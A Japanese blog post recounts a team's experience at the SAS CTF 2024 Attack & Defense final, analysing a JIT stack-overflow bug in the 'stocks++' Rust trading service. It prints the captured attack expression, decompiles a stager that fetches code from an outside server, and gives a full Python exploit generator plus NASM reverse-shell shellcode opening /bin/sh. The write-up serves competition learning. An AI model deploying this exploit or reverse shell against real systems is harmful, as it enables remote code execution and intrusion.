はじめに
プロフェッショナルサービス部の鈴木です。
今回は縁あって、私の所属しているTeam Enuと、外部のCTFチームのBunkyoWesternsで合同チームを組み、Team BuNkyoとしてインドネシアで開催されたSAS CTF 2024 Finalに参加してきました。
決勝大会の雰囲気や、実際に出題された問題を紹介しようと思います。
(会場の雰囲気がわかる写真)
海外の決勝大会の雰囲気
Attack & Defense
今回のCTFではAttack & Defense形式で競技が行われました。Attack & Defenseでは各チームに1台ずつサーバが与えられます。サーバ上では脆弱なサービスが稼働していて、競技者はその脆弱性を発見して、ほかのチームのサーバに攻撃したり、自分のチームのサーバの脆弱性をふさぐことが求められます。
得点はだいたい以下の3点で決まります。
- どれだけ長い時間攻撃を成功させたか
- どれだけ長い時間ほかのチームから攻撃されたか
- どれだけ長い時間サービスの機能を保って稼働させたか
問題の解説
競技は全部で5つのサービスが出題されました。
私が競技中に主に取り組んだ問題はstocks++という株取引を模したサービスでした。インタフェースはweb形式になっていましたが、中身の処理はRustで書かれたLinuxバイナリがメインになっていました。
トップページは以下のように株取引のチャートらしきものが映っていました。
ユーザを作成してログインすると、下図のようにフォームが出てきて、データを送ることができます。
フォームには名前、説明、式を入れることができるようになっています。
(データを読み取る別のAPIがあること)
(ほかのユーザの取引を見ることがゴールであること)
競技開始から3時間ほど経過したところで、攻撃を成功させたチームが現れました。
初めてフラグを取ったチームが出るとこんな感じでスクリーンに演出を出してくれます。
(後でなおす)
今回は攻撃の確認用(?)に攻撃も防御もしないNPCチームがいて、とりあえずそこに攻撃したようです。この後すぐに自分たちのチームにも攻撃が飛んでくるかと思いましたが、しばらく何も起きないままでした。すぐに攻撃しなかったのはどういう意図だったのかは分かりませんが、防御用のパッチ作成や攻撃を解析されないように工夫をしていたのではないかなと思います。
30分ほど経過して、ついに自分たちのチームにも攻撃が飛んでくるようになりました。下図をみると自分たちのフラグがとられていることがわかります。さらに攻撃を受けた自チームとNPCのサービスがオレンジ色に変わっていて、サービスの動作がおかしくなっているようです。
この時、自力での解析は行き詰っていたので、
ほかのチームからのパケットや運営チームからのサービス応答確認のパケットが大量に来ていて、攻撃されたときのパケットを見つけるのにかなり手間取ってしまいました。
(フラグが出ていく通信にばかり目を向けていた)
しばらくパケット解析してようやく攻撃パケットを見つけることができました。
テキストに起こすとこんなデータが送られてきていました。
(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(0+(-2316381664122530575+(39109426743978073+(5137699888041558016+(-5640961098832690946+(-1211347478037837639+(3919942682322597287+(-2157202672556475831+(5198424055878345167+(-5213816971043281271+(4864380390162251065+(364510095108784839+0)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))*0
大量のかっこと0、そして謎のマジックナンバーが入っています。なぜこれでフラグが取れるのかは当時まったくの謎でしたが、フラグを取られた時間の周辺のパケットをすべて開けてみて、攻撃らしいのはこのデータだけでした。
試しにほかのチームにこのデータを送ってみると、フラグは取れませんでしたが、サービスの状態がおかしくなりました。
毎回手動でユーザ登録や式の入力をするのは面倒なので、とりあえずユーザ登録から式を入力するまでを以下のようなスクリプトで自動化しました。
#!/usr/bin/env python3
import requests
import random
import string
def rand_str(length):
return ''.join([random.choice(string.ascii_letters) for _ in range(length)])
def dos(team_number):
host = f'http://10.80.{team_number}.2:8080'
data = { 'username': rand_str(10), 'password': rand_str(10) }
r = requests.post(host + '/api/register', json=data)
print(r.text)
r = requests.post(host + '/api/login', json=data)
print(r.text)
json_data = r.json()
token = json_data['token']
print(token)
with open('attack.txt', 'r') as f:
payload = f.read()
header = { 'Authorization': f'Bearer {token}' }
data = { 'name': rand_str(10), 'description': rand_str(10), 'strategy': payload }
r = requests.post(host + '/api/user/trade/submit', json=data, headers=header)
print(r.text)
dos(9)
自動化できたので今度はこれを使って攻撃の解析を行います。自分のマシン上にDockerでサービスを立ち上げ、攻撃に使われたデータを立ち上げたサービスに送信してみます。
すると、下図のようにセグメンテーション違反でプログラムが停止します。
停止したとき実行されていたコードは下図の部分でした。
停止する直前の命令がシステムコールで、そのあとに同じ命令がずっと並んでいて、かなり不自然なコードになっています。このコードのメモリ領域を調べると、以下のように読み書き実行すべて可能な領域でした。
もう少しさかのぼって、どんなコードを実行していたのかを確認するとした図のようなコードを実行していました。
このアセンブリ言語のコードをシステムコール番号をもとにC言語に直すと、以下のようなコードになります。
int fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
*(uint64_t*)addr = 0xc2a160d0931e0103ull ^ 0x101010101010101ull;
connect(fd, &addr, 16); // <- "rip" points around here
read(fd, rip, 0x1000);
addrに書かれたサーバにTCPソケットで接続して、入力を受け取るようになっており、受け取ったデータをこのシェルコードの周辺に書き込むようになっています。
接続先の部分を詳しく見てみると下図のようにグローバルIPを使ってどこかのサーバに接続しています。(後で調べるとDigital OceanのIPでした。おそらく、攻撃していたチームが一時的な接続先としてクラウドのサーバを借りたのではないかと思います。)
まとめると、このシェルコードは外部のサーバに接続して追加のシェルコードを受け取るステージャーになっていました。
おそらくフラグを取っていたチームは追加のシェルコードでメモリかDBからフラグを探し出し、管理下のサーバに送っていたのではないかと思います。
残念ながら、ここまで気が付いた時には競技時間がほぼ終わっており、まともな反撃ができないまま競技終了してしまいました。
その後
わからなかったのが悔しかったので、競技終了後に自力で解析してみました。
まず、問題のプログラムでは渡された式を実行時コンパイル(JITコンパイル)する機能が備わっていました。読み書き実行がすべて可能なメモリ領域はこのJITコードを置くために用意されていました。
JITコードにジャンプしているのは下図の部分でした。
"(0+(0+..." に対応するJITコードを見てみると下図のようになっていました。JITコンパイルの方針は式を単純なスタックマシンの処理に置き換えるというものでした。r14がスタックポインタとして使われていて、初期値はrdiが持っていることがわかります。
この時のrdiは下図の値になっていました。
したがって、スタックとJITコードの位置関係は下図のようになります。
このスタックは下に向かって伸びるので、スタックが積みあがっていくとJITコードの領域にはみ出して書きこんでしまいます。JITコードの領域は読み書き実行がすべて可能な領域(下図)なので、このバグによってJITコードを書き換えて、任意の機械語を実行させることが可能な状態でした。
ここで改めて競技中に送られてきた攻撃パケットの式を見てみます。下図に攻撃の式とJITコードのメモリ配置を示しました。
攻撃の式に入っていた入れ子になった大量のかっこはスタックを積み上げるためで、謎のマジックナンバーは計算の過程で特定の機械語をJITコード上に置いていくためだったと思われます。
それから、式の最後に入っていた"*0"について、式全体の答えが0の場合はJITコードが複数回実行されるようになっていました。(式の答えの正負によって、株を売るか買うか判定するという部分が関係しているのではないかと思います。)
つまり、式の最後に"*0"が入っていたのは、式全体の答えを0にして複数回JITコードが呼び出されるようにして、1回目の実行でJITコードを書き換え、2回目の実行で書き込んだシェルコードを実行するという流れを作るためだったと考えられます。
以上のことから攻撃コードを再現すると、以下のようになります。
import argparse
import numpy
import random
import requests
import string
import struct
import sys
STACK_SIZE = 0x3000
def data_to_int64(data):
return numpy.int64(struct.unpack('<q', data)[0])
def rand_str(length):
return ''.join([random.choice(string.ascii_letters) for _ in range(length)])
def register_and_login(base_url):
data = { 'username': rand_str(10), 'password': rand_str(10) }
requests.post(base_url + '/api/register', json=data)
r = requests.post(base_url + '/api/login', json=data)
json_data = r.json()
token = json_data['token']
return token
def data_to_expression(data):
assert len(data) % 8 == 0
if len(data) == 8:
val = data_to_int64(data)
return f'({val}+0)', val
else:
expression, current_val = data_to_expression(data[8:])
final_val = data_to_int64(data[0:8])
plus_val = final_val - current_val
return f'({plus_val}+{expression})', final_val
def shellcode_to_final_expression(shellcode):
padding_len = 8 - len(shellcode) % 8
shellcode += b'\x90' * padding_len
expression, _ = data_to_expression(shellcode)
return '(0+' * (STACK_SIZE // 8) + expression + ')' * (STACK_SIZE // 8) + '*0'
def send_shellcode(target_host, shellcode_file):
base_url = f'http://{target_host}:8080'
token = register_and_login(base_url)
with open(shellcode_file, 'rb') as f:
shellcode = f.read()
final_expression = shellcode_to_final_expression(shellcode)
print(final_expression)
header = { 'Authorization': f'Bearer {token}' }
data = { 'name': rand_str(10), 'description': rand_str(10), 'strategy': final_expression }
r = requests.post(base_url + '/api/user/trade/submit', json=data, headers=header)
print(r.text)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--target', required=True)
parser.add_argument('--shellcode-file', required=True)
args = parser.parse_args()
send_shellcode(args.target, args.shellcode_file)
if __name__ == '__main__':
main()
シェルコードは以下のようなリバースシェルを張るシェルコードを作成しました。
[bits 64] ; nasm shellcode.asm
socket:
mov rdi, 2 ; AF_INET
mov rsi, 1 ; SOCK_STREAM
xor rdx, rdx ; protocol = 0
mov rax, 41 ; SYS_socket
syscall ; socket(AF_INET, SOCK_STREAM, 0)
connect:
mov rdi, rax ; sock
push 0 ; sin_zero
mov rcx, 0x010011ac39300002 ; 0x0002 (family AF_INET), 0x3930 (port 12345), 0x010011ac (ip 172.17.0.1)
push rcx
mov rsi, rsp ; sockaddr
mov rdx, 16 ; length
mov rax, 42 ; SYS_connect
syscall ; connect(sock, &addr, sizeof(addr))
dup2:
xor rsi, rsi
dup_loop:
mov rax, 33 ; SYS_dup2
syscall ; dup2(sock, 0), dup2(sock, 1), dup2(sock, 2)
inc rsi
cmp rsi, 2
jle dup_loop
execve:
mov rcx, 0x68732f6e69622f ; "/bin/sh\0"
push rcx
mov rdi, rsp ; rdi = "/bin/sh\0"
xor rdx, rdx ; rdx = NULL
push rdx
push rdi
mov rsi, rsp ; rsi = { "/bin/sh\0", NULL }
mov rax, 59 ; SYS_execve
syscall ; execve("/bin/sh", { "/bin/sh", NULL }, NULL);
実際にこのエクスプロイトコードを実行してリバースシェルを待ち受けていると、下図のようにシェルが返ってきます。
おわりに
悔しい結果となってしまいましたが、
式を送れる部分に脆弱性がありそうだという読みはあっていた
Attack & Defense では読み取りのみの攻撃が多いので RCE されることはないだろうと思っていましたが、
限られた時間で解析を終えて攻撃してきた
レベルの高さを感じた
下位チームから攻撃する戦略性
意図していたかは分かりませんが、完全に別のサーバの別ポートに通信させることでツールの裏をかかれた形になって発見がだいぶ遅れた
サービスで使われるポート番号のみを解析する
オンサイトの決勝に出場できたことはいい経験になりました。
(rustのリバースエンジニアリング)